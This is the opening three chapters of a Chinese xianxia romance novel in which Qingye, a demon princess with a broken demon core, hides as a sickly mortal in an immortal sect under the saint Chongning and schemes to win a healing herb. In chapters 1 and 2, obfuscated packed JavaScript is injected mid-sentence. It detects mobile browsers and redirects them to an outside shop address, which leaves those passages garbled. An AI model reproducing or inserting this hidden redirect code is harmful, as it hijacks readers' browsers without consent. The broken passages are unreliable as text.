《我渣过的仙君是恋爱脑》 1. 第 1 章 青叶近来总被同一场梦缠上。 梦见冷夜弯月,寒风凄凄。 她被魔界叛军围剿至玉京海边,伤势惨重,落入汹涌波涛之中。 冰冷的海水缠着她不断下陷,下陷。 青叶挣扎不能,仿若回到年幼时分。 ——她还是无法掌控自己的命运。 …… 窒息感猛然攥紧心脏,青叶倏地睁开眼,额头上冷汗滑落。却在清醒的瞬间,满室日光撞入眼底。 房内,昨夜忘关的木窗透进微凉的风,雪白纱帘飘扬,窗外古树枝繁叶茂,树影荡漾进床前,投下一片温柔绿意。 青叶下意识地抚上自己的胸口。那里没有伤口,没有血迹,只有衣料的柔软触感。 ——她并未葬身海底。 她此刻在仙界无垢宗,叠云峰上。 朝阳初升,屋外鸟鸣阵阵,一切都如此宁静。 - 无垢宗,剑斋。 青叶抱着剑踏入时,已经日上三竿。 剑斋的同门弟子们在这儿已经练了几个时辰,见青叶进来,原本的剑势顿了顿,不约而同地露出嫌弃的眼神。 青叶对这些眼神早已习以为常,并未在意,径直走到角落的石桌旁,慢悠悠地取出腰间的软剑,用泉水擦拭剑身,让其吸收剑斋内充沛的天地灵气。 这把剑通体雪白,细长柔韧,剑意强大却格外柔顺包容,最适合她这种丹田有损、连灵力都聚不稳的病弱之人。 这软剑名为凝霜,原是无垢宗圣子重宁收藏多年之物,如今却成了她的佩剑。 一旁的几位弟子瞧见,不免有些眼红,窃窃私语起来,声音不大不小,刚好能让她听见。 “一个丹田不全,修炼不济的病秧子,竟能得圣子大人青眼……凝霜剑在她手里,简直是暴殄天物!” “嘘,你可小声点,听说是圣子大人云游除魔时误伤了她,这才把她带回宗门,算是弥补。” “那也是她撞了大运!不然,像她这样连金丹都修不成的凡人,怎么可能入我们无垢宗?” 闲言碎语飘到青叶耳畔,这群人完全不避讳她会听见,明目张胆地议论她。 青叶却左耳进右耳出,全不在意。 就是有点儿吵。 她擦拭好凝霜,归剑入鞘,又转头耐心地浇起了剑斋角落的花。 剑斋内日光通透,灵气纯净,花草长得格外繁茂,尤其是赤髓花,淡红色的花瓣在微风下娇艳地摇曳,散发出清甜的幽香。 青叶并未拜入宗门内任何一座山头,没有仙督长老愿意教她,也没有弟子愿意和她练剑。她索性时不时来剑斋应个卯,悠然自得地躲懒,在这儿当起了花匠。 赤髓花花圃旁,几个弟子正围着一个身材魁梧的男修说话,提及即将举办的宗门试炼大比。 无垢宗以剑修为尊,这次大比,只要是用剑的低阶弟子皆可组队参加。 “子弦师兄,到时候宗门比试,咱们一队吧?”一位弟子凑上前,语气满是讨好。 被称作宋子弦的男修斜睨了他一眼,语气里满是不屑:道:“我宋子弦的队友也是你能做的?回去多练几年剑吧!” 青叶浇花的手顿了顿,抬眼扫了这人一眼——又是一个眼高于顶的家伙。 无垢宗作为仙界第一宗门,又承蒙多年前飞升的无垢神君庇佑,门下弟子大多带着几分傲气,像宋子弦这样目中无人的,她这半年见得不少。 那弟子却不气馁,反而更殷勤了:“子弦师兄,你就行行好带上我一队吧。平时你要的灵草、要抄的典籍,哪样不是我替你跑腿?” 宋子弦嗤笑一声,仍是高高在上:“你你知道这次大比的头彩是什么吗?是无垢神君降下的碧云雪草!多年来,这样贵重的宝物神君也只降下过两次。” “若服用这仙草,对修炼将有极大增益,甚至连内丹破碎的废人都有机会能重获修为。”宋子弦顿了顿,眼神扫过周围羡慕的弟子,慢悠悠地补了句,“如此珍贵之物,我势在必得,自然要好好挑选队友。你,还不够格。” 一旁的青叶原本一边浇花,一边听这些人说话解闷,可“碧云雪草”“内丹破碎”“重获修为”这几个词钻进耳朵时,她手中水壶猛地一晃,清水汩汩流出。 不仅沾湿了她的衣角,还溅在了宋子弦的锦鞋上。 宋子弦正享受着众人的追捧,冷不丁被冷水浇了脚,顿时火冒三丈,转头就瞪向罪魁祸首。 见浇水之人竟是他们眼中最为不屑的那个病秧子,他更是不耐烦至极,道:“你在这儿偷听什么呢,难道也想参加宗门试炼不成?你会使剑么?” 他的声音一落,剑斋内的目光纷纷汇聚过来。 有好奇,有嘲讽,还有几分看好戏的意味。 “抱歉。”青叶自知理亏,不愿与这人纠缠,便凝神调动剑斋里的灵气,捏了个清灵诀,将洒在宋子弦身上的水尽数去除。 她丹田有损,体内也无金丹,不能将灵力聚在体内,但却可以暂时利用剑斋内丰沛的灵力。 周围的弟子们愣了愣,看向青叶的眼神多了几分惊讶——原来这病秧子不是真的不学无术,至少法诀用得还算熟练。 可宋子弦却觉得自己像是一拳打在了棉花上,更加气恼:“雕虫小技,一个连内丹都修不成的废物,也好意思在剑斋丢人现眼?不知圣子大人哪根筋搭错了,竟将你这种乡野凡人带进宗门……” 青叶从前对宗门内的闲言碎语充耳不闻,是懒得计较。 但,泥人也有三分气性,何况,青叶并非泥人。 她放下水壶,微微一笑,轻声道:“你又算什么东西,敢在剑斋大肆议论圣子大人?” 青叶身子不大好,因而说话声音也稍显孱弱,可声音不大,攻击性却挺高。 宋子弦在宗门内一直被众星捧月,哪里受过这种气?他怒火上头,一把抽出腰间的长剑,剑尖直指青叶的咽喉—— 这动作一出,一旁本在围观看热闹的弟子们也觉出些不妥来。 众人皆知,青叶是丹田先天有损的凡人之躯,一身病骨,被圣子大人领回宗门半年后,还没能修出金丹。 同门弟子们虽平时嫉羡她得圣子恩情,又鄙夷她资质不堪,但最多也只是在背后说些闲话,还没人真的欺负过她。 无垢宗人人自诩天之骄子,欺负一个病弱凡人,实在有损气度。 于是,一位女修站了出来,皱眉道:“宋子弦,恃强凌弱非君子之道。” 另一个弟子也连忙打圆场:“你和一病秧子计较什么?咱们继续练剑去吧。” 宋子弦却不依不饶,对着青叶掏出一副冠冕堂皇的说辞:“你仰仗着圣子大人的庇护,占着宗门的资源每日却不事修炼,今日我就来考校考校你,看看你来宗门这几个月,到底有无进益!” 宋子弦这话一出,其他弟子见他来真的,不敢得罪,纷纷默然。 只有那位站出来的女修仍坚持道:“宋子弦,你欺负她算什么本事?我来和你打!” “夏昭,别多管闲事,不然连你一起揍。”宋子弦狠狠瞪了那女修一眼,又挑衅地看向青叶,“怎么?不敢应战?你待在这宗门内,当真是有损圣子大人的声誉。” 青叶在心里叹了口气。 以后可得少下山了。 遇到蠢货,实在手痒。 她拿起刚刚擦拭好的凝霜剑,雪白的剑身银光微闪,这便是应战的意思了。 宋子弦自信道:“我让你三招。” 青叶:“不必。” 宋子弦冷哼一声:“那别怪我不客气。” 话音刚落,他便持剑朝青叶刺来,剑风凌厉,带着破空的声响。 青叶手握凝霜,静静立在原地。 围观众人轻叹:这病秧子恐怕被吓傻了。 然而,下一秒—— 只见方才还一点动作都没有的青叶忽地抬手旋身,不过转瞬之间,“铮”的一声脆响,剑光四溢,宋子弦的剑竟被她硬生生击落在地! 青叶不动则已,一动,便利落至极,使得竟还真是无垢宗正统剑法招式。 弟子们还没反应过来,青叶便早已飞速收剑,而宋子弦重心不稳,“扑通”一声摔在地上,疼得龇牙咧嘴。 一时间,剑斋内鸦雀无声。 甚至无人上前扶起宋子弦,众人皆被青叶的出招所惊艳。 她松松束在脑后的墨发在打斗后散落几缕,飘扬在清丽的面颊旁,原本平和惰懒的神态此刻忽而变得锋芒毕露,像一把出鞘的剑。 宋子弦的几个跟班见势不妙,不想再损颜面,赶紧上前把他扶起来,离开了剑斋。 比武几瞬便结束,众人似乎还没回过神来。 先前那为青叶出头的女修夏昭有些好奇,想上前询问——在丹田有损的情况下,如何在短时间内爆发出如此凌冽的剑气? 然而还没等她开口,便见眼前清瘦女子剧烈咳嗽几声,脸色慢慢化为苍白,嘴唇也失了血色。 青叶从袖中掏出一块素色帕子,捂在嘴边,等咳嗽平息后,帕子上已经染了大片刺目的红。 弟子们于是明白了。 这是虚耗太大的表现。 原来,青叶虽身怀天赋,却仍旧是原来那个病秧子。 丹田不全之人,无法长久地将灵力汇聚在体内,就算能爆发一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780526|190395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,却终究撑不过多久。 青叶收起帕子,方才那一瞬锐利的锋芒仿佛从未出现过一般,又回归了那副病弱的模样。 她抱起方才照料过的那盆玉髓花,转身缓缓往无人寂静处去了。 徒留众弟子在原处叹息:实在可惜,这么好的剑法天赋,偏偏丹田有缺,修补起来比登天还难,即使有圣子大人相助,青叶的修行之路恐怕也要坎坷至极。 也有人幸灾乐祸:天赋再好又如何?凡人就是凡人,终究也比不过他们天生的仙门子弟。 对于剑斋弟子们的所思所想,青叶却浑然不觉。 她行至剑斋外一处偏僻断崖前,平息几瞬呼吸,感受着自己体内四处流窜的灵力顺着她手中剑慢慢逸出。 几片金黄色的叶子被风吹来,落在剑尖上,瞬间被逸散的灵力绞成碎屑,飘散在地。 她盯着地上的碎叶,轻轻皱了皱眉——还好刚才一招就解决了宋子弦,否则若再出几招,恐怕就要露馅了。 毕竟,多年的魔修功法仍旧刻在她的记忆与血肉里。即使近来青叶再三研读无垢宗剑谱想试图遮掩,也不免在出招时留下痕迹。 青叶想,她如今魔丹已失,大概是祸也是福气。 祸在于她的大半功力随着破碎的魔丹消散,而福在于——她暂时非常安全。 所有人都认为,她只是一个天资不足的弱小孤女而已。 今日……是个意外。 青叶虽一直扮演一个没什么存在感的病秧子,修养生息,但实在本性难移。有人要找她单挑时,她下意识的反应仍是——迎战,把对方揍翻。 看来以后还是得更收敛些,免得再惹麻烦。 青叶对自己说。 日头渐渐西移,青叶收拾好心情,踏上了回叠云峰的路。 无垢宗依着七座高山而建,五座山头由五位长老掌管,门下收弟子无数。 剩下的两座,一座为隐月山,为掌门明华所居之地。隐月山常年花木繁盛,鸟雀驻足,如仙境乐园,连低阶弟子有求道之惑,都可以上山一叙。 至于另一座,名为叠云峰。叠云峰高耸入云间,为宗门内第一高山,山间也有不少花木,只是山顶处,却被笼罩在层层云雾中,只余一派冷寂萧瑟之景。 叠云峰上所住之人,便是无垢宗圣子重宁。 圣子曾闭关百年,性情清冷,不喜繁杂,也未曾收过弟子。无垢宗人谈起叠云峰与重宁,皆是又敬又畏,不敢靠近。 但半年前,重宁出关后除魔归来,身边竟多了个小小孤女——青叶。 重宁赠她凝霜剑,时常将她带在身侧,令她成了宗门中一个特殊的存在。 连如此孤寂的叠云峰,也让青叶住了进去。 从剑斋回叠云峰的路途有些遥远,青叶出发时便要从朝阳初升走至日上三竿,如今回程,恐怕要到日将暮时才能到达。 但青叶一点儿也不着急。 她路遇不少行色匆匆的修者,提着剑不知要奔赴哪里。无垢宗中都是大忙人,只她一个如此闲散惫懒。 青叶走急了便要气短心慌,干脆慢慢来。 叠云峰越往上山路越崎岖,青叶不能持续使用功法,爬山之路便十分辛苦。她倒无所谓。只不过,有人却看不下去了。 青叶行至半山腰,秋风瑟瑟,吹起她额前碎发。日光由金黄转至橘黄,自树荫间星星点点洒下。 她抬首向上看去,一片飘扬袍角落入她视线中。 重宁一袭雪白道袍,袖口暗绣淡金芙蓉纹样,隐约流光——那是无垢宗圣子独有的象征。 男人身姿挺拔如松,伫立在暮色余晖间,天光映衬下,愈显眉目清朗,似出尘绝世的仙人自画中走出。 他一双眼眸清清冷冷,此刻正静静注视着她。 青叶被看得有些局促,加快脚步走过去,伸手轻轻拉了拉男人的衣袖,轻声问道:“你怎么来啦?” 宗门里的弟子见了重宁,都要恭敬行礼,尊称一声“圣子大人”。 也只有青叶,从一开始就如此没大没小。 “听闻你在山下打架。”重宁低头看着她,声音平静无波,“便下山来看看。” 青叶眨了眨眼,没想到这件事这么快就传到了重宁耳中,以为他是来兴师问罪,便率先卖乖道:“我可没主动惹事!是他先拔剑的。我只击落了他的剑,没伤人,是他自己摔的……” 她一边说,一边偷偷观察着重宁的神色。 重宁摇摇头,神色仍旧是淡漠的,仿佛这件事并不足以让他上心。 他低眸,视线在青叶苍白的脸色上流转,开口,问的却是: “你,可有受伤?” 2. 第 2 章 青叶闻言顿了顿,很快摇头,又迟疑了一瞬,指尖蜷缩起来,随后悄悄地将左手背在了身后。 重宁挑了挑眉,静静望向她,目光是了然的沉静。他不发一言,意思却很明显——让她自己交代。 青叶被他看得有些不自在,终是现出几分不好意思的模样,慢吞吞地将左手摊开。 细白的掌心内,团着一方素帕。 帕子上晕开的点点血迹,略显触目惊心。 重宁见了,眉心微蹙。 “下次莫要逞强。”他没有责备,声音却沉了些。 青叶抿着唇,像个做错了事的小孩,小鸡啄米般点头。 “还能自己走吗?”重宁右侧袖口微动,像是要向她伸出手一般。 灵灯照耀在他袖口的芙蓉纹上,隐隐生辉。 “可以的。”青叶再次点点头。 重宁右手微顿,终是没有动作。 他轻叹一声:“药已煎好了,随我回去。” 天际橘黄渐渐褪去,暮色自山谷深处蔓延开来。 重宁雪白身影在前,身侧漂浮着一盏暖黄灵灯,照亮上山的路。光晕在石阶上映出男人修长的影子,灵灯散出的温和灵力护在青叶周身,让她原本沉重的脚步轻快不少,不再像先前那般辛苦。 她心里藏着些小算计,犹豫片刻,还是上前几步,悄悄扯住了重宁的袖摆,带着几分试探:“听闻无垢神君赐下了彩头,宗门内要有场试炼大比了?” “是。”重宁微微侧目,目光落在她仰起的脸上,语句简短,“就在一个月后。” 青叶“噢”了一声,低下头,放开了重宁的衣袖。 只有一个月,时间太紧了。 那能修复内丹的碧云雪草,她想要。 但若要拿到那仙草,就必须赢得宗门试炼。而参加宗门试炼,她需要能用好剑。 但青叶现在还不敢多用剑。 她招数一使多,便会暴露出魔修的功法。而若用无垢宗的剑法,以她现在的体质,暂时坚持不了多久。 这简直是死局。 但青叶还是不甘心。她在仙界蛰伏许久,好不容易出现一个恢复魔丹的机会,怎能轻易放弃? 她正咬着唇出神,身侧的男人忽然停下脚步,玉白的面容转过来,低眸沉静地望着她,似乎想说些什么。 就在这时,一道稚嫩童声划破暮色:“仙君!青叶姐姐!你们回来啦!” 青叶抬头,只见一个六七岁的小男孩身着青色道袍,怀里抱着盏小巧的灯笼,从青石阶上蹦蹦跳跳跑过来,三步并作两步便扎进了他们中间。 “江小芦,好好走路!”青叶见了他,嘴角不自觉地弯起,伸手轻轻拍了拍他的脑袋。 圣子大人的叠云峰上向来冷清,唯有一位小仙侍为重宁打理杂务,这便是江小芦。 自认识青叶后,他早和她混熟了,于是此刻狡黠一笑,吐了吐舌头,凑到青叶身边,好奇地问道:“青叶姐姐,听说你今天在剑斋打架,还打赢了!” “你怎么打的?快告诉我!” 青叶没想到这消息传得如此灵通。她原本刻意隐藏的低调,就这么被打破了。 “好了,小芦。”一道清冷声线传来,带着些无奈,“别闹了。” 江小芦这才听话,不再东问西问,拎着灯笼便走在前方,为青叶引路,步伐蹦蹦跳跳。 不一会儿,他们便行至山顶。 与外界传言不同,无垢宗圣子的居所,竟并非那般清寂孤冷。 依着悬崖而建的庭院古朴素雅,院中种满了各式各样的仙花仙草,在夜风中对着青叶轻轻摇摆,显得生机盎然。 正门前,碎玉制成的风铃叮当作响,仿佛在欢迎这座古宅的主人。 “青叶姐姐,你种的花今天也长得很好呢!”江小芦感叹道,“我都有些不记得叠云峰从前的模样了。” 重宁的山头,曾经是荒凉一片,自青叶来后,才渐渐变得鸟语花香,竟有了几分掌门隐月山的灵秀之感。 只不过,叠云峰山顶不适宜草木生长,青叶常常要将些孱弱的花草搬去山下养着,每日下山照料,等长好了,再搬回来。 她手中的玉髓花,便是其中之一。 青叶将玉髓花摆在长廊下,神色带了点自嘲:“我灵力低微,也只能为仙君做些这样的小事了。” “青叶姐姐别这样说,”江小芦忙反驳,“正因这些花草,我与仙君每日修炼都觉得心旷神怡,这可不是小事。” “仙君,您说对不对?”江小芦抬头,朝着重宁眨了眨眼,寻求认可。 重宁立在门廊下,衣袂翩然,神情没有多少变化,只是望向花海间女子的眼神染上了些许柔意。 他没有回答江小芦,只是唤了声青叶,道:“喝药。” 青叶闻言,摆弄花草的手一顿,“我来了。” 耳房内,药罐被一股灵力仔细地团起,温着其中专为某人准备的汤药。 重宁宽大的手掌拿起药罐,将药倒入碗中,递给青叶。一丝不苟的男人,做这样的小事也赏心悦目。 青叶捧着药碗,扁了扁嘴,看了重宁一眼,最后还是皱着眉头咕咚咕咚喝了下去。 这药真是苦得人发麻。 这是重宁亲自为她拟定的方子,能修复丹田破损的药。 每半月,她便要经受一回这苦药的洗礼。 重宁见眼前少女被这药苦得眼睛都睁不开了,重宁轻叹一声,随手拿出几枚饴糖,放入她掌心。 青叶忙吞进嘴里,这才展颜。 “多谢仙君。”她嘴上这么说,眼神中却带上了几分幽怨。 重宁见状,竟难得露出几分笑意:“连这点苦都受不了,日后该如何修炼?” 青叶听了,撇了撇嘴道:“也不知我这虚弱的身子要什么时候才能好好修炼。” “反正从前吃的苦够多啦,就不能在仙君您这儿享享福么?” 说罢,她还扯了扯他衣袖,眸光亮晶晶的。虽用了敬语,却没半点恭敬之意,反倒像在小小地耍赖。 这模样要是让叠云峰外的人看见了,定得吹胡子瞪眼说她没礼貌不可。 可重宁偏偏吃她这一套。他垂眸抬手,轻轻抚过她发顶,语气温和:“自然可以。” “修炼之事不急,先好好养着。” 顿了顿,他神色微敛,又道:“喝了半年的药,你丹田虽有所修复,但体质仍旧尚弱。今日比剑虽胜了,虚耗却大,不值当。” “日后,莫要再这般急躁了,明白么?” 重宁的手掌不过浅浅拂过青叶头顶发丝,一股温和坚定的灵力随即注入,青叶顿觉先前用剑时的损耗被一点点弥补。 灵力缓缓往丹田汇聚,只是仍是散漫的,无法聚成形体。 青叶却在这时推开了重宁的手,笑得乖巧:“我知道啦,下次绝不会再给仙君添麻烦。” 说完,她从座椅上跳下,又从重宁手里拿了几颗饴糖,眉眼弯弯:“我去睡觉啦!” 每次喝了药后,青叶都要犯困,话音未落,便跑得不见了影。 柔软发丝的触感仿佛还残留在指尖,重宁缓缓收回了手。 …… 叠云峰,深夜。 青叶睡得素来不安稳,在柔软的床上滚了一圈,半梦半醒之间缓缓睁开眼。 她琥珀色的瞳仁深处,忽有一丝黑影掠过,一闪而逝。 少女缓缓起身,她穿着一身素白睡袍,一缕幽魂般走出房门,脚步轻落在古旧的木地板上,声息几不可闻。 庭院游廊外,正逢圣子大人的身影背负长夜,缓缓离去,向着隐月山的方向。 江小芦睡眼惺忪,送别他的仙君,又要继续回去睡觉,却撞上了出门的青叶。 “青叶姐姐,是被我吵醒了吗?”江小芦揉了揉困得睁不开的眼睛,问道。 “没有。”青叶柔声答,“我起来喝杯水。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780527|190395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她顿了顿,又问:“仙君深夜这是要去哪儿?” 江小芦对青叶没有半分设防,解释道:“魔界那边最近战火连绵,仙界也不太平。掌门好几次深夜请仙君过去商议,大概是为了除魔之事吧。” 他小小的手握成拳,有些愤愤:“那些魔物来扰仙界太平,真是该死!不过,有我们仙君在,魔物来一个杀一个!” “青叶姐姐,你说是不是?” 望着面前稚嫩的小脸,青叶神色微动,缓缓点头:“的确如此。” “我先去睡啦,青叶姐姐,你也早些休息。”江小芦打着哈欠,又回了自己的寝房。 青叶点头,目送江小芦的身影离去。 今日夜深露重,无星无月,此刻拂过的风比她睡前凉了一些。 叠云峰真正的主人不在,庭院中青叶养着的花草不再美好地摇曳,而是微微抖动着,仿佛是惶然中的颤意。 青叶衣衫单薄,在长廊的木阶上坐下,她纤细苍白的手指向身侧探去,那儿正摆着她从剑斋带回来的玉髓花。 她眼瞳间的那一丝黑影再度浮现,流窜回丹田,继而在青叶指尖微微流转。 那株淡红的玉髓花,在顷刻之间盛放至极盛,淡红色的花朵成熟至鲜红色,听话地从枝头掉下,轻轻坠入青叶的掌间。 “真乖。”青叶勾起一抹淡笑,毫不犹豫地将自己亲手照料的花瓣送入口中。 鲜红的汁液染上青叶略失血色的唇瓣,她墨色的长发在夜风中飘散,眼瞳中的黑影越来越深。 青叶对外的人设,是个丹田有损,无法修炼金丹的废物凡人。众人只知,她在重宁出关除魔时不巧误闯,结果却被误伤,本就先天不足的身体更加孱弱。 因而重宁心怀愧疚,怜惜于她,带她回无垢宗,日日以珍贵的药物修补她残缺的丹田。 但其实,她也曾有过内丹。 并非仙人所修的金丹,而是——魔族与生俱来的魔丹。 只不过魔界大乱后,她因叛军追捕,魔丹破碎,祸及丹田罢了。 她就是方才江小芦口中,仙人最痛恨的魔物。 鲜有人知晓,仙界漫山遍野的玉髓花,实际竟有修复魔族内丹的效用。 魔女青叶躲在无垢宗,伪装得极其顺利,一边喝着圣子大人的药强化丹田,一边养着玉髓花修复魔丹。 如果没有意外的话,再有半年,她便能顺利重聚魔丹,恢复曾经的修为。 但,意外总是提前到来。 青叶一片一片地将玉髓花瓣吃下,直到剩下最后一片。 她将这片花瓣碾碎,指尖黑雾缠绕,伴着残渣落入花盆中。 不一会儿,一道细弱黑烟从枝头生起,幻化成一个隐隐约约的细长人影。 “公主殿下。” 那道人影微微晃动,竟开了口,是一道低沉嘶哑的男声。 青叶眯了眯眼,目光在四周探查一番,最后才开口道:“洄夜,有话快说。” “叛军没有相信您已经葬身大海,仍在找您。”被称做洄夜的人影道。 “真是阴魂不散。”青叶眼神冰冷。 “是的,他们早已四散潜入仙界,找来无垢宗只是时间问题。” “殿下,您身体恢复得如何?” 青叶在循序渐进地修养身体,重宁的药让她已经能汇聚周身的灵力在体内流转片刻,为她所用。灵力也在转化下初具一丝魔性,藏匿在体内,准备着重聚主人的魔丹。 正是因此,方才她才不愿让重宁的灵力探查至她的丹田深处。 但……魔丹的修复却仍需要时间。 “时间不多了,您需尽快离开无垢宗,否则……” 青叶明白洄夜的未尽之意。 否则一旦身份暴露,魔界和仙界都会置她于死地,她将插翅难飞。 “我还需要一点时间。”青叶眼神一转,声音沉静。 “多久?” “一个月。”她说。 3. 第 3 章 青叶几乎彻夜未眠。 与洄夜聊完后,那道虚影便随同赤髓花瓣一齐花盆土中,无人知晓。 洄夜是她的父亲——魔尊慕沧澜赐给她的影卫。 洄夜身为鬼修,能以残魂化影,跨越千山万水与她对话。 再加之,他曾被被施加过不可背叛于她的魂契,可通过魂魄感应到青叶的的存在。即便她此刻身处仙门重地,洄夜依旧能找到她。 魔宫覆灭后,他们分头逃亡,只在重要时刻谨慎地联系对方。 此时,便是关乎她生死存亡的时刻。 魔界叛军弑君夺位,慕沧澜已死,叛军不会放过任何一个和他相关之人,尤其是她——魔尊唯一的子嗣。 青叶没有入眠,而是点了一盏灯,翻出一本她藏在床褥下的典籍。 这是她在圣子古宅中的藏书阁内找到的。 这半年来,她虽扮演着一个低调的病秧子凡人,私下却不仅熟读了无垢宗剑谱,还迅速浏览了无数仙门典籍。 正因如此,她才发现了赤髓花对魔丹的功效,从剑斋将这些色泽明艳温柔、生机勃勃的花儿搬来叠云峰。 而青叶也记得,与赤髓花同样被提及的,还有——碧云雪草。 青叶翻至某页,纤白指尖划过纸张。 典籍上写道,碧云雪草乃六界罕有的灵草,是飞升者赐予人间的机缘。修者若服食,修为可获巨进。纵使是废人,也能重筑内丹,再拾道基。 她眸光往下移,又停在一处注解之上。 注:此乃仙人恩泽,不论族类门派,皆可蒙益。唯需慎护,勿令落于奸邪之手,恐滋大祸,贻害无穷。 青叶微微一笑。果然,她没有记错。 那日在剑斋,宋子弦话音一落,这段话便浮现在她脑中。 青叶阖上书,目光移向几案之上静静放着的凝霜剑。 以碧云雪草为彩头的宗门大比就在一月后。 什么“唯需慎护,勿令落于奸邪之手”……青叶想,既然仙人赐下的东西不论族类门派都能用,那么她这个“奸邪”,也想争他一争。 反正,如今她已没有其他退路。 * 青叶不知自己是何时昏昏沉沉睡去的。 只知道自己被门外江小芦清亮的大嗓门吵醒时,天光已然大亮。 “怎么了?”她揉着眼睛,推门而出。 大约是如今已成凡人的缘故,青叶需要很长的睡眠,每次醒来,总有片刻的迷茫感。 她还有点困呢。 “青叶姐姐,宗门里发现了一只魔!”江小芦却十分激动,小手拽着青叶的袖摆摇来摇去,“被关押在隐月山上,今日清晨要让圣子大人就地处决,以示威慑!” 江小芦兴奋不已:“终于又能看到圣子大人除魔的风采了!青叶姐姐,你快和我一起去呀。掌门下了命令,宗门上下几乎都去了!” 青叶心脏猛地一跳,瞬间清醒了过来。 ——原来昨夜重宁深夜去往隐月山,便是为了此事。 她来不及细想,只胡乱披了一件外袍,便被江小芦急急拉走了。 江小芦施展法术召来祥云,拉着她腾空而起,不过半刻,便来到了隐月山。 山上已是人山人海。身着仙袍,头戴道冠的弟子们围作一团。 江小芦一手牵着青叶,一手拨开人群。许多人认出他是圣子仙侍,纷纷让开,笑着说:“小仙君,请。” 江小芦便兴冲冲地带着青叶占据了一处高地。青叶抬眼,便见不远处,一团浓烈的墨色魔气包裹着的魔物,正被囚困在银光闪烁的法阵囚笼中。 而这魔物的前方,白衣如雪,身姿如松的男子,正静静悬空而立。他腰间佩剑,神情峻然冷冽。 青叶忍不住打了个小小的寒战。 隐月山上的确绿茵遍地,仙花灵草随风飘扬,但清晨山上的空气实在有些冰凉,加之魔气四散,与重宁周身的灵力刀锋般对峙着,仿若无数无形的寒刃拔地而起。 是真的冷。 青叶想,她如今是真的成了凡人,连这样的威压都难以承受。 她的手指紧攥着外袍,脸色苍白。 牵着她另一只手的江小芦也感觉到了,抬头道:“青叶姐姐,你的手好冰……” 青叶还未来得及开口,囚笼中的魔物突然躁动,嘶吼震天。 那魔物疯狂地撞向银笼,撞得血肉模糊,然而鲜血的气息却使它愈发癫狂,仰天长啸:“魔宫已破,慕沧澜已死!入主鹤州——便如探囊取物!” 围观的人群立刻骚动起来:“杀了这魔物!杀了这魔物!” 青叶攥着外袍的指尖在微微发颤。 江小芦皱起眉头,冷哼道:“这魔物是被心魔反噬,彻底疯了吧!鹤州有数不清的仙家宗门,还有我们无垢宗镇守,它也太过狂妄!” 这时,青叶身侧一道女声忽然开口,似在回应江小芦:“但,从前仙魔能维持表面的和平,全因与前魔尊慕沧澜签订的条约,然而如今他被魔界叛军推翻……未来如何,怕是难说了。” 青叶闻言,偏头一看,才发现说话的女修竟是前些日子在剑斋为她解围的女修——夏昭。 夏昭显然也认出了她,朝青叶莞尔一笑。 “那又如何?”江小芦不服气地反驳,“有重宁仙君在,有无垢宗在,定能让这些敢来进犯鹤州的魔物有去无回!” 他抬头望向悬空的白衣身影,声音充满了崇敬:“我们仙君,可是上通仙班,下斩妖魔的圣子!” 青叶在内心叹了口气。 每次江小芦说这样的话,她都会不由自主地代入一下。 毕竟,若有一日,重宁和江小芦发现她也是魔,恐怕也会毫不留情地将她投入笼中,就地处决。 正如眼前—— 那魔物浑身缠绕魔气,血沫横飞,却还在声嘶力竭地放狠话,宣扬魔修必将重返鹤州的狂言。 重宁自始至终未发一言。 他立在半空之中,衣袂被罡风掀起,神情依旧冷冽如霜。随后,重宁指尖微动,腰间佩剑骤然发出铮铮嗡鸣,声若龙吟,震彻云霄。 下一瞬,一道无形剑气破空而出,锋芒凌厉无比,裹挟着毫不留情的威势,径直斩向银笼中的魔物。 “轰”的一声巨响,银色囚笼在剑气威压下瞬间碎裂,而那魔物连惨叫都没来得及出口,就被斩作飞灰。滚滚魔气在剑势冲击下溃散,化作黑烟,随风消弭在这山间。 重宁收敛剑气,神色未动,仿佛不过弹指之间碾碎了一只蚂蚁。 他甚至未曾拔剑,只凭灵力化剑,便可瞬息间诛杀那魔物。 山间一片死寂,众人皆屏息,不敢发声。 半晌,夏昭才低声喃喃道:“当真震撼……” “不过……圣子大人为何佩剑,却不使剑,只用灵力化剑呢?” “你是近期新来的一批弟子吧。”江小芦压低声音,给她解释道,“圣子大人有通天之能,是宗门唯一能与上界无垢神君对话之人,却需将自身最重要之物献祭给无垢神君。自登上圣子之位起,大人便就此封剑,承诺再不用此剑,以表对神君的虔诚。” “这把剑,名为玉衡,曾为数万年前一位天神打造,传闻曾斩杀过上古邪祟,拯救洪荒百姓。尘封多年后,被少时的圣子大人收服。见此剑如见天神,驱散魑魅魍魉,福泽黎民百姓。” “因此,大人虽不拔剑,却时时佩剑。只因此剑在侧,如定海神针一般,魔修退避,百姓安定。” “原来如此。”夏昭听故事听得津津有味。 而一旁的青叶却没心思参与他们的对话。她的脸色愈发苍白。 ——方才那魔物被击溃,魔气本该随风消散,但青叶却敏锐地感知到,有几缕极其微弱的魔气,宛若游丝,悄无声息地渗入山间草木中,临灭前还在搜寻着什么。 还能是什么? 叛军已察觉她未死,如今更是探至无垢宗。 青叶尽力隐藏住自己的气息,同时拉了拉江小芦的手。 “青叶姐姐,你是不是觉得冷?”江小芦很快反应过来,“我们回去吧。” 告别夏昭后,祥云载着二人回到了叠云峰上。 此刻朝阳初升,清寂的山上覆上一层暖意。青叶恢复了些许温度,仿佛回到了安全之处。 